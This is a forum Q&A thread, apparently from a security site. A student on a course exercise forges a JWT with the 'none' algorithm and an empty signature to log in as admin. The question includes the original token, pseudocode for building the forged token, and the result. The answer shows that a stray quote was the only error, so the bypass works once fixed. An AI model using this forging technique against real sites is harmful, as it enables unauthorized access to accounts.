1

I'm taking a course where I must breach a site which uses 2015 version of JWT for authentication. They gave me the test//test login information and I must login with admin.

After I log in, I receive this token, and it's stored in my cookies:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.vLVv9jMkXF8YTdkkbmWfWAB9teChPPJI6t4f8ejR-8I

I decoded it with jwt.io and got this header and payload:

{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "username": "test"
}

So I changed the alg to none and the username to admin and used an empty string as a signature:

header = '{"alg":"none"","typ":"JWT"}'
payload = '{"username":"admin"}'
signature = ""
token = encodeBase64URL(header) + '.' + encodeBase64URL(payload) + '.' + encodeBase64URL(signature)

I got this token as a result:

eyJhbGciOiJub25lIiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.

I replaced my cookie with this one, and refreshed the page. But it's invalid or something because I got logged out instead of being identified as the admin user.

Why?

  • Sjoerd's answer is definitely something for you to address, but it's also worth asking: are you sure that this is the proper exploit to break in? – Conor Mancone Oct 14 '19 at 13:43
  • Yes, it is. And the typo was the problem :D – Tudvari Oct 14 '19 at 13:52
2

You have a typo in your header:

header = '{"alg":"none"","typ":"JWT"}'

none has two quotes at the end.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.